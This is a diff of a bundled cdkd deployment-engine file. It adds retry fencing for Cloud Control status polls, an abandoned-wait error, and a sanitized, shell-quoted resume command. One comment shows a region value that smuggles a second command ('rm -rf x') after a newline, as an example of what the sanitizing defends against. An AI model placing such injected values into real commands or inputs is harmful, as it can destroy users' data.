31725
|
+
*
|
|
31726
|
+
* Reached from FOUR call sites — `create()`, `update()`, `delete()` and
|
|
31727
|
+
* `disableCcProtection()` — so everything here is CREATE / UPDATE / DELETE
|
|
31728
|
+
* behavior at once.
|
|
31729
|
+
*
|
|
31730
|
+
* The poll is fenced against its own transport (issue #3236). Before that,
|
|
31731
|
+
* a `GetResourceRequestStatus` that failed for ANY reason propagated out of
|
|
31732
|
+
* this loop, out of `create()`, and took the `RequestToken` — which lives
|
|
31733
|
+
* only in this parameter list — with it. The Cloud Control operation keeps
|
|
31734
|
+
* running server-side regardless, so a CREATE that AWS went on to complete
|
|
31735
|
+
* left a live resource with no state record: invisible to rollback, to
|
|
31736
|
+
* `cdkd destroy`, and to `cleanupFailedCreateRemnant` (whose first guard
|
|
31737
|
+
* admits only a `CloudControlOperationFailedError`, which a transport
|
|
31738
|
+
* failure never is). Reported against a `AWS::RDS::DBInstance` whose CREATE
|
|
31739
|
+
* outlived a dropped VPN; the untracked instance then blocked the deletion
|
|
31740
|
+
* of five tracked resources that depended on it.
|
|
31741
|
+
*
|
|
31742
|
+
* Re-polling is IDEMPOTENT in a way replaying the create is not, which is
|
|
31743
|
+
* what makes this the right layer for the fix: `GetResourceRequestStatus`
|
|
31744
|
+
* invokes no resource handler and the token is unchanged across attempts, so
|
|
31745
|
+
* the duplicate-create hazard of go-to-k/cdkd#2039 is structurally absent.
|
|
31746
|
+
* The complementary half is {@link CloudControlWaitAbandonedError}, for the
|
|
31747
|
+
* outage that outlives the grace or the budget.
|
|
30049
31748
|
*/
|
|
30050
|
-
async waitForOperation(requestToken, logicalId, operation, resourceType) {
|
|
31749
|
+
async waitForOperation(requestToken, logicalId, operation, resourceType, transientGraceMs = this.POLL_TRANSIENT_GRACE_MS) {
|
|
30051
31750
|
const startTime = Date.now();
|
|
30052
31751
|
let attempts = 0;
|
|
30053
31752
|
let pollInterval = this.INITIAL_POLL_INTERVAL_MS;
|
|
31753
|
+
let lastSeenIdentifier;
|
|
31754
|
+
let transientOutageStartedAt;
|
|
31755
|
+
let lastTransientError;
|
|
30054
31756
|
const maxWaitMs = Math.max(this.MAX_WAIT_TIME_MS, slowCcOperationTimeoutMs(resourceType, operation));
|
|
30055
31757
|
while (Date.now() - startTime < maxWaitMs) {
|
|
30056
31758
|
attempts++;
|
|
30057
|
-
|
|
31759
|
+
let statusResponse;
|
|
31760
|
+
try {
|
|
31761
|
+
statusResponse = await this.cloudControlClient.send(new GetResourceRequestStatusCommand({ RequestToken: requestToken }));
|
|
31762
|
+
} catch (error) {
|
|
31763
|
+
if (!isTransientPollFailure(error)) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, "cdkd could not read the operation status and the failure is not retryable", error);
|
|
31764
|
+
transientOutageStartedAt ??= Date.now();
|
|
31765
|
+
lastTransientError = error;
|
|
31766
|
+
const outageMs = Date.now() - transientOutageStartedAt;
|
|
31767
|
+
if (outageMs >= transientGraceMs) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `cdkd could not reach Cloud Control API for ${Math.round(outageMs / 1e3)}s`, error);
|
|
31768
|
+
const safePollText = displaySafe(describePollFailure(error).display);
|
|
31769
|
+
this.logger.warn(`${operation} ${logicalId}: could not read the Cloud Control operation status (attempt ${attempts})${safePollText === "" ? "" : `: ${safePollText}`} — the operation may still be running in AWS; re-polling the same request token in ${pollInterval}ms`);
|
|
31770
|
+
await this.sleep(pollInterval);
|
|
31771
|
+
pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
|
|
31772
|
+
continue;
|
|
31773
|
+
}
|
|
31774
|
+
transientOutageStartedAt = void 0;
|
|
31775
|
+
lastTransientError = void 0;
|
|
31776
|
+
const progressEvent = statusResponse.ProgressEvent;
|
|
30058
31777
|
if (!progressEvent) throw new ProvisioningError(`Failed to get status for ${logicalId}: No progress event`, "Unknown", logicalId);
|
|
31778
|
+
if (progressEvent.Identifier) lastSeenIdentifier = progressEvent.Identifier;
|
|
30059
31779
|
this.logger.debug(`${operation} ${logicalId}: ${progressEvent.OperationStatus} (attempt ${attempts}, next poll ${pollInterval}ms)`);
|
|
30060
31780
|
switch (progressEvent.OperationStatus) {
|
|
30061
31781
|
case "SUCCESS": return progressEvent;
|
|
@@ -30075,12 +31795,93 @@ var CloudControlProvider = class {
|
|
|
30075
31795
|
pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
|
|
30076
31796
|
}
|
|
30077
31797
|
}
|
|
30078
|
-
throw
|
|
31798
|
+
throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `${operation} timeout for ${logicalId} after ${maxWaitMs / 1e3}s`, lastTransientError);
|
|
31799
|
+
}
|
|
31800
|
+
/**
|
|
31801
|
+
* Build the {@link CloudControlWaitAbandonedError} for a wait cdkd is giving
|
|
31802
|
+
* up on while the operation is, as far as cdkd knows, still running (issue
|
|
31803
|
+
* [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
|
|
31804
|
+
*
|
|
31805
|
+
* Returns rather than throws so every call site reads `throw await
|
|
31806
|
+
* this.abandonWait(...)` — the `throw` stays visible at the site, which is
|
|
31807
|
+
* what keeps the control flow legible to the compiler and to a reader.
|
|
31808
|
+
*
|
|
31809
|
+
* CREATE is marked non-retryable and the other two are not, and the
|
|
31810
|
+
* asymmetry is the whole point rather than an oversight:
|
|
31811
|
+
*
|
|
31812
|
+
* - **CREATE** — a replay issues a SECOND `CreateResource` for a resource
|
|
31813
|
+
* the first call is already creating, which is go-to-k/cdkd#2039's
|
|
31814
|
+
* duplicate-create. It must be refused, and the marker is what refuses
|
|
31815
|
+
* it — but by a different mechanism than an earlier revision of this
|
|
31816
|
+
* comment claimed. That one said the message interpolates AWS's own
|
|
31817
|
+
* `Rate exceeded`, which `RETRYABLE_ERROR_MESSAGE_PATTERNS` matches; a
|
|
31818
|
+
* real `ThrottlingException` carries `$fault`, so its cause is REDUCED to
|
|
31819
|
+
* the wire code and the message no longer contains that wording.
|
|
31820
|
+
* Re-measured at this head: without the marker `isRetryableTransientError`
|
|
31821
|
+
* still answers TRUE, via `isThrottlingError`'s CHAIN walk over the
|
|
31822
|
+
* threaded cause rather than via the message. The marker stays
|
|
31823
|
+
* load-bearing; only the route changed.
|
|
31824
|
+
* - **DELETE** — a replay issues a second `DeleteResource`, which is
|
|
31825
|
+
* idempotent: if the first delete landed, the retry meets the
|
|
31826
|
+
* already-gone signal `delete()` absorbs. Retrying is strictly better
|
|
31827
|
+
* than surfacing a failure over a resource that may be gone.
|
|
31828
|
+
* - **UPDATE** — a replay re-derives and re-sends the same patch, the
|
|
31829
|
+
* behavior every other UPDATE failure already gets.
|
|
31830
|
+
*/
|
|
31831
|
+
async abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, reason, cause) {
|
|
31832
|
+
const described = describePollFailure(cause);
|
|
31833
|
+
const safeDisplay = displaySafe(described.display);
|
|
31834
|
+
const causeText = safeDisplay === "" ? "" : `: ${safeDisplay}`;
|
|
31835
|
+
if (described.detail !== "") this.logger.debug(`${operation} ${logicalId}: the abandoned operation's underlying failure was: ${displaySafe(described.detail)}`);
|
|
31836
|
+
const identifierClause = lastSeenIdentifier === void 0 ? "" : ` The last status cdkd read named the resource ${displaySafe(lastSeenIdentifier, { asciiOnly: true })}.`;
|
|
31837
|
+
const error = new CloudControlWaitAbandonedError(`${operation} of ${logicalId} was accepted by Cloud Control API, but cdkd stopped waiting for it (${reason}${causeText}). The operation may still be running in AWS, and ${operation === "CREATE" ? "cdkd has NO state record for it, so any resource it creates is untracked by rollback and by cdkd destroy" : operation === "DELETE" ? "the resource may or may not have been removed; its state record is kept so a re-run can finish the delete" : "its state record still holds the PREVIOUS properties, so the record may no longer describe the live resource"}.${identifierClause} Check what it did with:\n ${await this.buildResumeCommand(requestToken)}`, resourceType, logicalId, requestToken, operation, lastSeenIdentifier, cause instanceof Error ? cause : void 0);
|
|
31838
|
+
if (described.marker) markRedactedCause(error);
|
|
31839
|
+
return operation === "CREATE" ? markNonRetryable(error) : error;
|
|
31840
|
+
}
|
|
31841
|
+
/**
|
|
31842
|
+
* The `aws cloudcontrol get-resource-request-status` line an abandoned wait
|
|
31843
|
+
* hands the user — the only way back to an operation cdkd has no record of.
|
|
31844
|
+
*
|
|
31845
|
+
* SANITIZE-then-QUOTE-then-SUPPRESS, the full convention
|
|
31846
|
+
* `replacement-protection-advice.ts` applies (issue
|
|
31847
|
+
* [#2669](https://github.com/go-to-k/cdkd/issues/2669)) — quoting ALONE is
|
|
31848
|
+
* not it, and the gap is not theoretical here. The region comes from
|
|
31849
|
+
* `config.region()`, i.e. `--region` / `AWS_REGION` / a profile's `region =`
|
|
31850
|
+
* line, so it is USER text: `AWS_REGION=$'us-east-1\nrm -rf x'` is inert once
|
|
31851
|
+
* `shellQuote` wraps it, and still renders a two-line "recovery command" on
|
|
31852
|
+
* the terminal and into `deployments/{runId}.jsonl` — the forgery
|
|
31853
|
+
* `lock-contention-message.ts` says quoting does not cover. So each part is
|
|
31854
|
+
* `displaySafe`d first and DROPPED when sanitizing changed it: the region
|
|
31855
|
+
* flag is simply omitted (absent is already legal — the user supplies their
|
|
31856
|
+
* own), and a changed TOKEN suppresses the whole command, since a command
|
|
31857
|
+
* naming the wrong operation is worse than none.
|
|
31858
|
+
*
|
|
31859
|
+
* The region is best-effort in a second sense: `config.region` is a resolver
|
|
31860
|
+
* that can throw (no credentials, no configured region), and a wait that
|
|
31861
|
+
* already failed must not fail a second time inside its own error message.
|
|
31862
|
+
*/
|
|
31863
|
+
async buildResumeCommand(requestToken) {
|
|
31864
|
+
const safeToken = displaySafe(requestToken, { asciiOnly: true });
|
|
31865
|
+
if (!safeToken || safeToken !== requestToken) return "(cdkd cannot render a safe resume command for this request token — see the Cloud Control console)";
|
|
31866
|
+
let region;
|
|
31867
|
+
try {
|
|
31868
|
+
region = (await this.cloudControlClient.config.region())?.trim();
|
|
31869
|
+
} catch {
|
|
31870
|
+
region = void 0;
|
|
31871
|
+
}
|
|
31872
|
+
const safeRegion = region === void 0 || region === "" || displaySafe(region, { asciiOnly: true }) !== region ? void 0 : region;
|
|
31873
|
+
const regionFlag = safeRegion === void 0 ? "" : ` --region ${shellQuote(safeRegion)}`;
|
|
31874
|
+
return `aws cloudcontrol get-resource-request-status --request-token ${shellQuote(safeToken)}${regionFlag}`;
|
|
30079
31875
|
}
|
|
30080
31876
|
/**
|
|
30081
31877
|
* Parse resource model JSON string.
|
|
30082
31878
|
*
|
|
30083
|
-
* On a parse failure
|
|
31879
|
+
* On a parse failure the WARN line logs the error's CLASS plus the model's
|
|
31880
|
+
* SHAPE. The `debug` line beside it DOES carry the raw parser message, echo
|
|
31881
|
+
* included, and naming that carve-out is the point (issue
|
|
31882
|
+
* [#3290](https://github.com/go-to-k/cdkd/issues/3290)): an unqualified
|
|
31883
|
+
* promise that a sibling line falsifies is exactly what that issue was filed
|
|
31884
|
+
* for. What follows is about the WARN line — never its
|
|
30084
31885
|
* body (issue #1908, a GHSA-p5qg-v9gv-hc7w residual). The model is an AWS
|
|
30085
31886
|
* readback, and a read handler cannot return write-only properties (the #809
|
|
30086
31887
|
* premise), so the common secret shapes are absent — but a `{{resolve:...}}`
|
|
@@ -30098,8 +31899,9 @@ var CloudControlProvider = class {
|
|
|
30098
31899
|
try {
|
|
30099
31900
|
return JSON.parse(resourceModel);
|
|
30100
31901
|
} catch (error) {
|
|
30101
|
-
const
|
|
30102
|
-
this.logger.warn(`Failed to parse resource model: ${
|
|
31902
|
+
const described = describeAwsFailure(error);
|
|
31903
|
+
this.logger.warn(`Failed to parse resource model: ${described.redacted ? described.summary : error instanceof Error ? error.name : "Error"}\nModel shape: ${resourceModel.length} chars, ${describeJsonKeys(resourceModel)}`);
|
|
31904
|
+
this.logger.debug(`Resource model parse failure detail: ${displaySafe(described.detail)}`);
|
|
30103
31905
|
return {};
|
|
30104
31906
|
}
|
|
30105
31907
|
}
|
|
@@ -30162,7 +31964,7 @@ var CloudControlProvider = class {
|
|
|
30162
31964
|
this.logger.debug(`Enriched RDS DBCluster ${physicalId} with Endpoint/Port/Arn from DescribeDBClusters`);
|
|
30163
31965
|
}
|
|
30164
31966
|
} catch (error) {
|
|
30165
|
-
this.logger.debug(`Failed to enrich RDS DBCluster ${physicalId}: ${
|
|
31967
|
+
this.logger.debug(`Failed to enrich RDS DBCluster ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30166
31968
|
}
|
|
30167
31969
|
break;
|
|
30168
31970
|
case "AWS::RDS::DBInstance":
|
|
@@ -30176,7 +31978,7 @@ var CloudControlProvider = class {
|
|
|
30176
31978
|
this.logger.debug(`Enriched RDS DBInstance ${physicalId} with Endpoint/Port/Arn from DescribeDBInstances`);
|
|
30177
31979
|
}
|
|
30178
31980
|
} catch (error) {
|
|
30179
|
-
this.logger.debug(`Failed to enrich RDS DBInstance ${physicalId}: ${
|
|
31981
|
+
this.logger.debug(`Failed to enrich RDS DBInstance ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30180
31982
|
}
|
|
30181
31983
|
break;
|
|
30182
31984
|
case "AWS::DynamoDB::Table":
|
|
@@ -30187,7 +31989,7 @@ var CloudControlProvider = class {
|
|
|
30187
31989
|
this.logger.debug(`Enriched DynamoDB StreamArn for ${physicalId}: ${latestStreamArn}`);
|
|
30188
31990
|
}
|
|
30189
31991
|
} catch (error) {
|
|
30190
|
-
this.logger.debug(`Failed to get DynamoDB StreamArn for ${physicalId}: ${
|
|
31992
|
+
this.logger.debug(`Failed to get DynamoDB StreamArn for ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30191
31993
|
}
|
|
30192
31994
|
break;
|
|
30193
31995
|
case "AWS::ApiGateway::RestApi":
|
|
@@ -30198,7 +32000,7 @@ var CloudControlProvider = class {
|
|
|
30198
32000
|
this.logger.debug(`Enriched RestApi RootResourceId for ${physicalId}: ${getRestApiResponse.rootResourceId}`);
|
|
30199
32001
|
}
|
|
30200
32002
|
} catch (error) {
|
|
30201
|
-
this.logger.debug(`Failed to get RestApi RootResourceId for ${physicalId}: ${
|
|
32003
|
+
this.logger.debug(`Failed to get RestApi RootResourceId for ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30202
32004
|
}
|
|
30203
32005
|
if (!enriched["RestApiId"]) enriched["RestApiId"] = physicalId;
|
|
30204
32006
|
break;
|
|
@@ -30210,7 +32012,7 @@ var CloudControlProvider = class {
|
|
|
30210
32012
|
this.logger.debug(`Enriched CloudFront OAI S3CanonicalUserId for ${physicalId}: ${s3CanonicalUserId}`);
|
|
30211
32013
|
}
|
|
30212
32014
|
} catch (error) {
|
|
30213
|
-
this.logger.debug(`Failed to get CloudFront OAI S3CanonicalUserId for ${physicalId}: ${
|
|
32015
|
+
this.logger.debug(`Failed to get CloudFront OAI S3CanonicalUserId for ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30214
32016
|
}
|
|
30215
32017
|
break;
|
|
30216
32018
|
case "AWS::KMS::Key":
|
|
@@ -30221,7 +32023,7 @@ var CloudControlProvider = class {
|
|
|
30221
32023
|
this.logger.debug(`Enriched KMS Key Arn for ${physicalId}: ${String(enriched["Arn"])}`);
|
|
30222
32024
|
}
|
|
30223
32025
|
} catch (error) {
|
|
30224
|
-
this.logger.debug(`Failed to construct KMS Key Arn for ${physicalId}: ${
|
|
32026
|
+
this.logger.debug(`Failed to construct KMS Key Arn for ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30225
32027
|
}
|
|
30226
32028
|
if (!enriched["KeyId"]) enriched["KeyId"] = physicalId;
|
|
30227
32029
|
break;
|
|
@@ -30239,7 +32041,7 @@ var CloudControlProvider = class {
|
|
|
30239
32041
|
this.logger.debug(`Enriched ECR Repository Arn for ${physicalId}: ${String(enriched["Arn"])}`);
|
|
30240
32042
|
}
|
|
30241
32043
|
} catch (error) {
|
|
30242
|
-
this.logger.debug(`Failed to construct ECR Repository Arn: ${
|
|
32044
|
+
this.logger.debug(`Failed to construct ECR Repository Arn: ${describeAwsFailure(error).detail}`);
|
|
30243
32045
|
}
|
|
30244
32046
|
if (!enriched["RepositoryUri"]) try {
|
|
30245
32047
|
const ecrAccountInfo = await this.accountInfoForSynthesizedArn(resourceType, "RepositoryUri", physicalId);
|
|
@@ -30273,7 +32075,7 @@ var CloudControlProvider = class {
|
|
|
30273
32075
|
this.logger.debug(`Enriched Kinesis Stream Arn for ${physicalId}: ${String(enriched["Arn"])}`);
|
|
30274
32076
|
}
|
|
30275
32077
|
} catch (error) {
|
|
30276
|
-
this.logger.debug(`Failed to construct Kinesis Stream Arn for ${physicalId}: ${
|
|
32078
|
+
this.logger.debug(`Failed to construct Kinesis Stream Arn for ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30277
32079
|
}
|
|
30278
32080
|
break;
|
|
30279
32081
|
case "AWS::Lambda::Url":
|
|
@@ -30285,7 +32087,7 @@ var CloudControlProvider = class {
|
|
|
30285
32087
|
}
|
|
30286
32088
|
if (urlConfig.FunctionArn) enriched["FunctionArn"] = urlConfig.FunctionArn;
|
|
30287
32089
|
} catch (error) {
|
|
30288
|
-
this.logger.debug(`Failed to get Lambda URL config for ${physicalId}: ${
|
|
32090
|
+
this.logger.debug(`Failed to get Lambda URL config for ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30289
32091
|
}
|
|
30290
32092
|
break;
|
|
30291
32093
|
case "AWS::Events::Connection":
|
|
@@ -30301,7 +32103,7 @@ var CloudControlProvider = class {
|
|
|
30301
32103
|
if (conn.SecretArn && !enriched["SecretArn"]) enriched["SecretArn"] = conn.SecretArn;
|
|
30302
32104
|
this.logger.debug(`Enriched Events Connection ${physicalId} with Arn/SecretArn/ArnForPolicy from DescribeConnection`);
|
|
30303
32105
|
} catch (error) {
|
|
30304
|
-
this.logger.debug(`Failed to enrich Events Connection ${physicalId}: ${
|
|
32106
|
+
this.logger.debug(`Failed to enrich Events Connection ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30305
32107
|
}
|
|
30306
32108
|
break;
|
|
30307
32109
|
case "AWS::Events::ApiDestination":
|
|
@@ -30316,7 +32118,7 @@ var CloudControlProvider = class {
|
|
|
30316
32118
|
}
|
|
30317
32119
|
this.logger.debug(`Enriched Events ApiDestination ${physicalId} with Arn/ArnForPolicy from DescribeApiDestination`);
|
|
30318
32120
|
} catch (error) {
|
|
30319
|
-
this.logger.debug(`Failed to enrich Events ApiDestination ${physicalId}: ${
|
|
32121
|
+
this.logger.debug(`Failed to enrich Events ApiDestination ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30320
32122
|
}
|
|
30321
32123
|
break;
|
|
30322
32124
|
case "AWS::ElastiCache::ReplicationGroup":
|
|
@@ -30338,7 +32140,7 @@ var CloudControlProvider = class {
|
|
|
30338
32140
|
this.logger.debug(`Enriched ElastiCache ReplicationGroup ${physicalId} with endpoint attributes from DescribeReplicationGroups`);
|
|
30339
32141
|
}
|
|
30340
32142
|
} catch (error) {
|
|
30341
|
-
this.logger.debug(`Failed to enrich ElastiCache ReplicationGroup ${physicalId}: ${
|
|
32143
|
+
this.logger.debug(`Failed to enrich ElastiCache ReplicationGroup ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30342
32144
|
}
|
|
30343
32145
|
break;
|
|
30344
32146
|
case "AWS::Redshift::Cluster":
|
|
@@ -30350,7 +32152,7 @@ var CloudControlProvider = class {
|
|
|
30350
32152
|
this.logger.debug(`Enriched Redshift Cluster ${physicalId} with Endpoint.Address/Port from DescribeClusters`);
|
|
30351
32153
|
}
|
|
30352
32154
|
} catch (error) {
|
|
30353
|
-
this.logger.debug(`Failed to enrich Redshift Cluster ${physicalId}: ${
|
|
32155
|
+
this.logger.debug(`Failed to enrich Redshift Cluster ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30354
32156
|
}
|
|
30355
32157
|
break;
|
|
30356
32158
|
case "AWS::OpenSearchService::Domain":
|
|
@@ -30367,7 +32169,7 @@ var CloudControlProvider = class {
|
|
|
30367
32169
|
this.logger.debug(`Enriched OpenSearch Domain ${physicalId} with DomainEndpoint/Arn from DescribeDomain`);
|
|
30368
32170
|
}
|
|
30369
32171
|
} catch (error) {
|
|
30370
|
-
this.logger.debug(`Failed to enrich OpenSearch Domain ${physicalId}: ${
|
|
32172
|
+
this.logger.debug(`Failed to enrich OpenSearch Domain ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30371
32173
|
}
|
|
30372
32174
|
break;
|
|
30373
32175
|
case "AWS::Backup::BackupVault":
|
|
@@ -30507,7 +32309,7 @@ var CloudControlProvider = class {
|
|
|
30507
32309
|
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return;
|
|
30508
32310
|
return parsed;
|
|
30509
32311
|
} catch (error) {
|
|
30510
|
-
this.logger.debug(`Failed to read CC model for ${resourceType} ${physicalId}: ${
|
|
32312
|
+
this.logger.debug(`Failed to read CC model for ${resourceType} ${physicalId}: ${describeAwsFailure(error).detail}`);
|
|
30511
32313
|
return;
|
|
30512
32314
|
}
|
|
30513
32315
|
}
|
|
@@ -40527,6 +42329,7 @@ var DeployEngine = class DeployEngine {
|
|
|
40527
42329
|
lastModified: Date.now()
|
|
40528
42330
|
};
|
|
40529
42331
|
const currentEtag = currentStateData?.etag;
|
|
42332
|
+
refuseMalformedOutputs(currentState, stackName, this.stackRegion);
|
|
40530
42333
|
const migrationPending = currentStateData?.migrationPending ?? false;
|
|
40531
42334
|
this.logger.debug(`Loaded current state: ${Object.keys(currentState.resources).length} resources`);
|
|
40532
42335
|
if (this.options.onCurrentStateLoaded) await this.options.onCurrentStateLoaded(stackName, currentStateData?.state);
|
|
@@ -41758,7 +43561,7 @@ var DeployEngine = class DeployEngine {
|
|
|
41758
43561
|
});
|
|
41759
43562
|
} catch (deleteError) {
|
|
41760
43563
|
const deleteMsg = deleteError instanceof Error ? deleteError.message : String(deleteError);
|
|
41761
|
-
if (deleteMsg.includes("does not exist") || deleteMsg.includes("not found") || deleteMsg.includes("NotFound")) this.logger.debug(`Old resource ${logicalId} already gone, proceeding with CREATE`);
|
|
43564
|
+
if (!isWaitAbandonedError(deleteError) && !isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && (deleteMsg.includes("does not exist") || deleteMsg.includes("not found") || deleteMsg.includes("NotFound"))) this.logger.debug(`Old resource ${logicalId} already gone, proceeding with CREATE`);
|
|
41762
43565
|
else throw deleteError;
|
|
41763
43566
|
}
|
|
41764
43567
|
const fallbackSkipReason = deleteSkipReason(fallbackDeleteResult);
|
|
@@ -41863,7 +43666,7 @@ var DeployEngine = class DeployEngine {
|
|
|
41863
43666
|
}), logicalId, 3, 5e3, deleteProvider);
|
|
41864
43667
|
} catch (deleteError) {
|
|
41865
43668
|
const msg = deleteError instanceof Error ? deleteError.message : String(deleteError);
|
|
41866
|
-
if (!isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && (msg.includes("does not exist") || msg.includes("was not found") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException") || msg.includes("ResourceNotFoundException"))) this.logger.debug(`Resource ${logicalId} already deleted (${msg}), removing from state`);
|
|
43669
|
+
if (!isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && !isWaitAbandonedError(deleteError) && (msg.includes("does not exist") || msg.includes("was not found") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException") || msg.includes("ResourceNotFoundException"))) this.logger.debug(`Resource ${logicalId} already deleted (${msg}), removing from state`);
|
|
41867
43670
|
else throw deleteError;
|
|
41868
43671
|
}
|
|
41869
43672
|
const deleteSkipped = deleteSkipReason(deleteResult);
|
|
@@ -42530,5 +44333,5 @@ var DeployEngine = class DeployEngine {
|
|
|
42530
44333
|
};
|
|
42531
44334
|
|
|
42532
44335
|
//#endregion
|
|
42533
|
-
export { secretBearing as $,
|
|
42534
|
-
//# sourceMappingURL=deploy-engine-
|
|
44336
|
+
export { secretBearing as $, isRetryableTransientError as $i, S3StateBackend as $n, getLegacyStateBucketName as $r, s3BucketArn as $t, extractDeploymentEventError as A, CrossAccountSecretRefusalError as Ai, findSilentDropProperties as An, readBootstrapMarkerBody as Ar, isImpossibleEmptyStoredAttribute as At, toCfnInteger as B, PartialFailureError as Bi, createSecretMasker as Bn, formatDockerLoginError as Br, coerceCfnBoolean as Bt, buildFinalSnapshotIdentifier as C, AwsClients as Ci, refuseMalformedOutputs as Cn, AssetModeResolver as Cr, isTerminationProtectionPropagationError as Ct, refusesFinalSnapshot as D, AssetError as Di, repairMalformedResourcePropertiesForReadOnly as Dn, getBootstrapMarkerKey as Dr, cfnRefValueFromPhysicalId as Dt, isFinalSnapshotError as E, setAwsClients as Ei, repairMalformedOutputsForReadOnly as En, ensureAssetStorage as Er, carriesFetchableDynamicReference as Et, isStatefulRecreateTargetSync as F, LocalInvokeBuildError as Fi, STATE_SOURCED_BASELINE_RULES as Fn, buildDockerImage as Fr, isSettledInstanceState as Ft, gray as G, StackTerminationProtectionError as Gi, markSameGenerationBag as Gn, runDockerStreaming as Gr, readConfigString as Gt, formatResourceLine as H, ResourceTimeoutError as Hi, errorCauseChain as Hn, partitionSensitiveEnv as Hr, configBooleanRefusal as Ht, renderStatefulReason as I, LocalStartServiceError as Ii, STATE_SOURCED_CROSS_GENERATION_RULES as In, describeDockerCapturedOutput as Ir, WAFv2WebACLProvider as It, yellow as J, formatError as Ji, recordMaskOnlyValue as Jn, AssetManifestLoader as Jr, requireConfigObject as Jt, green as K, StateError as Ki, maskSecretsInError as Kn, escapeRegExp$1 as Kr, replayWarn as Kt, WARM_THROUGHPUT_MEMBERS as L, LockError as Li, STATE_SOURCED_READBACK_RULES as Ln, describeDockerExecFailure as Lr, normalizeAwsTagsToCfn as Lt, planOrphanAdoption as M, DeployCancelledError as Mi, withRetry as Mn, validateContainerRepoName as Mr, isUnboundTemplateParameter as Mt, MULTI_REGION_RECREATE_BLOCKED_TYPES as N, DynamicReferenceRegionAmbiguousError as Ni, DagBuilder as Nn, buildDenyExternalAccessPolicy as Nr, parameterTypeMayLoseSecretIdentity as Nt, unsupportedFinalSnapshotError as O, CdkdError as Oi, repairMalformedResourcesForReadOnly as On, isCrossRegionRedirect as Or, coerceParameterTypedValue as Ot, isStatefulRecreateTargetForReplace as P, IntrinsicResolutionRefusalError as Pi, TemplateParser as Pn, describeAwsFailure as Pr, refStateLookupFromResource as Pt, isExportAliasCollision as Q, isMarkedNonRetryable as Qi, LockManager as Qn, getDefaultStateBucketName as Qr, withSharedDrainBudget as Qt, coerceWarmThroughput as R, MalformedProducerRecordRefusalError as Ri, TEMPLATE_SOURCED_RULES as Rn, describeDockerFailure as Rr, resolveExplicitPhysicalId as Rt, PRE_DELETE_SNAPSHOT_TYPES as S, resolveBucketRegion as Si, refuseMalformedNestedChildOutputs as Sn, rewriteTemplateAssetReferences as Sr, disableInstanceApiTermination as St, createPreDeleteFinalSnapshot as T, resetAwsClients as Ti, refuseMalformedState as Tn, assertAssetBucketRegion as Tr, carriesDynamicReference as Tt, bold as U, ResourceUpdateNotSupportedError as Ui, identityKeyFor as Un, redactDockerArgvValues as Ur, configIntegerRefusal as Ut, toFiniteNumber as V, ProvisioningError as Vi, dynamicReferenceTokens as Vn, getDockerCmd as Vr, coerceCfnInteger as Vt, cyan as W, StackHasActiveImportsError as Wi, isSingleDynamicReferenceToken as Wn, runDockerForeground as Wr, configStringRefusal as Wt, collectPublishedOutputNames as X, normalizeAwsError as Xi, redactSecretsForState as Xn, Synthesizer as Xr, classifyReplaySecretRegion as Xt, collectDeclaredOutputNames as Y, isCdkdError as Yi, recoverMaskedOutput as Yn, getDockerImageBySourceHash as Yr, requireConfigString as Yt, exportAliasCollisionScrubWarning as Z, withErrorHandling as Zi, scrubResourceRecord as Zn, synthesisStatusMessage as Zr, producerRegionsFromState as Zt, isSecretBearingReferenceString as _, canonicalizeRegion as _i, malformedRenderedContainersWarning as _n, stringifyValue as _r, isWaitAbandonedError as _t, DeploymentEventsStore as a, __exportAll as aa, resolveStateBucketWithDefaultAndSource as ai, applyCallerIdentityCredentials as an, shellQuote as ar, clearOnUpdateRemoval as at, bindingSkippedOutputs as b, processStackMessages as bi, malformedStateRefusalMessage as bn, createAssetRedirectResolver as br, deleteIndeterminateGuards as bt, replayFailedOperations as c, warnDeprecatedNoPrefixCliFlag as ci, INTRINSIC_KEYS as cn, exportNamesCarriedFrom as cr, createMaskedRetryLogger as ct, updatePartialReason as d, MIGRATE_TMP_PREFIX as di, hasReadableResources as dn, importableOutputs as dr, beginCommandInterruptScope as dt, isThrottlingError as ea, resolveApp as ei, s3BucketDomainName as en, rebuildClientForBucketRegion as er, secretBearingStateKeyWarning as et, withResourceDeadline as f, findLargeInlineResources as fi, malformedExportNamesWarning as fn, isReadableBag as fr, endCommandInterruptScope as ft, bagHoldsSecretExpression as g, PARTITION_TABLE as gi, malformedOutputsWarning as gn, AssetPublisher as gr, CloudControlProvider as gt, computeImplicitDeleteEdges as h, expectedOwnerParam as hi, malformedOutputsRefusalMessage as hn, shouldRetainResource as hr, startInterruptWatch as ht, DeploymentEventsReader as i, retryClassificationText as ia, resolveStateBucketWithDefault as ii, applyRoleArnIfSet as in, formatLockExpiry as ir, collectInlinePolicyNamesManagedBySiblings as it, makeSiblingClaimReader as j, DependencyError as ji, describeTypeWithThrottleRetry as jn, validateAssetBucketName as jr, isNamelessDynamicReferenceError as jt, makeCanonicalizePropertiesFn as k, ConfigError as 